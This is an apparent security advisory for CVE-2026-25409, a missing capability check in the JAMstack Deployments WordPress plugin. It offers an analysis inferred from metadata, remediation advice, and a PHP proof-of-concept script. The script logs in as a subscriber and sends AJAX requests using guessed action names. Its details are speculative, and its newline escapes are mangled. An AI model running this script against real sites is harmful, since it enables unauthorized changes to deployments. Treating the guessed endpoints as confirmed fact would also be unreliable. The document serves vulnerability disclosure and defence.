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Published : March 18, 2026

CVE-2026-25409: JAMstack Deployments <= 1.1.1 – Missing Authorization (wp-jamstack-deployments)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.1.1
Patched Version
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25409 (metadata-based):
The JAMstack Deployments WordPress plugin version 1.1.1 contains a missing authorization vulnerability. This flaw allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized actions. The CVSS score of 4.3 indicates medium severity with low impact on confidentiality and availability, but some impact on integrity.

Atomic Edge research indicates the root cause is a missing capability check on a function. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a privileged action. Since no code diff is available, this conclusion is inferred from the CVE description and CWE classification. The vulnerability likely exists in an AJAX handler or admin menu callback function that lacks a current_user_can() check.

Exploitation requires an authenticated WordPress session with subscriber-level access. Attackers would send a crafted request to the plugin’s AJAX endpoint. The request targets the vulnerable function via the action parameter. A typical payload would be a POST request to /wp-admin/admin-ajax.php with action=wp_jamstack_deployments_{function_name}. No nonce verification is required due to the missing authorization check. The exact function name cannot be confirmed without source code.

The remediation requires adding proper capability checks to the vulnerable function. Developers should implement current_user_can(‘manage_options’) or a similar capability check before executing privileged operations. WordPress best practices mandate checking both nonces and user capabilities for all administrative functions. The patch should also consider implementing proper AJAX handler structure with separate hooks for privileged and unprivileged users.

Successful exploitation allows attackers to perform unauthorized administrative actions. The impact includes potential disruption of JAMstack deployment processes, modification of deployment settings, or triggering unintended deployments. While the CVSS vector indicates no confidentiality or availability impact, integrity could be compromised through unauthorized configuration changes. The exact impact depends on the functionality exposed by the vulnerable function.

Differential between vulnerable and patched code

Proof of Concept (PHP)

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PHP PoC
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// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25409 - JAMstack Deployments <= 1.1.1 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2026-25409
 * Assumptions based on metadata analysis:
 * 1. Vulnerability exists in an AJAX handler
 * 2. Plugin uses standard wp_ajax_ hook naming convention
 * 3. No capability check present on the handler
 * 4. Action parameter follows plugin slug pattern
 */

$target_url = 'https://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize session and get authentication cookies
function get_wordpress_cookies($url, $username, $password) {
    $ch = curl_init();
    
    // First request to get login page and nonce
    curl_setopt_array($ch, [
        CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $url),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Atomic Edge PoC/1.0'
    ]);
    
    $response = curl_exec($ch);
    
    // Extract nonce from login form (simplified)
    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
    $nonce = $matches[1] ?? '';
    
    // Perform login
    $post_fields = http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $url),
        'testcookie' => '1',
        '_wpnonce' => $nonce
    ]);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $url),
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_fields,
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    
    curl_exec($ch);
    curl_close($ch);
    
    return true;
}

// Attempt to exploit the missing authorization vulnerability
function exploit_missing_auth($target_url) {
    $ch = curl_init();
    
    // Common AJAX action patterns for this plugin
    // These are educated guesses based on plugin name and WordPress conventions
    $possible_actions = [
        'wp_jamstack_deployments_deploy',
        'wp_jamstack_deployments_trigger',
        'wp_jamstack_deployments_settings',
        'wp_jamstack_deployments_webhook',
        'jamstack_deployments_action',
        'jamstack_deploy'
    ];
    
    foreach ($possible_actions as $action) {
        $post_data = http_build_query([
            'action' => $action,
            'nonce' => 'bypassed'  // Nonce would normally be required but is missing
        ]);
        
        curl_setopt_array($ch, [
            CURLOPT_URL => $target_url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $post_data,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
            CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
            CURLOPT_HTTPHEADER => [
                'Content-Type: application/x-www-form-urlencoded',
                'X-Requested-With: XMLHttpRequest'
            ],
            CURLOPT_USERAGENT => 'Atomic Edge PoC/1.0'
        ]);
        
        $response = curl_exec($ch);
        
        // Check for successful unauthorized access
        if (strpos($response, 'success') !== false || 
            strpos($response, 'deploy') !== false ||
            strpos($response, 'triggered') !== false) {
            echo "[+] Potential successful exploitation with action: $actionn";
            echo "[+] Response: " . htmlspecialchars(substr($response, 0, 500)) . "n";
        }
    }
    
    curl_close($ch);
}

// Main execution
if (get_wordpress_cookies($target_url, $username, $password)) {
    echo "[+] Authentication cookies obtainedn";
    exploit_missing_auth($target_url);
} else {
    echo "[-] Failed to authenticaten";
}
?>

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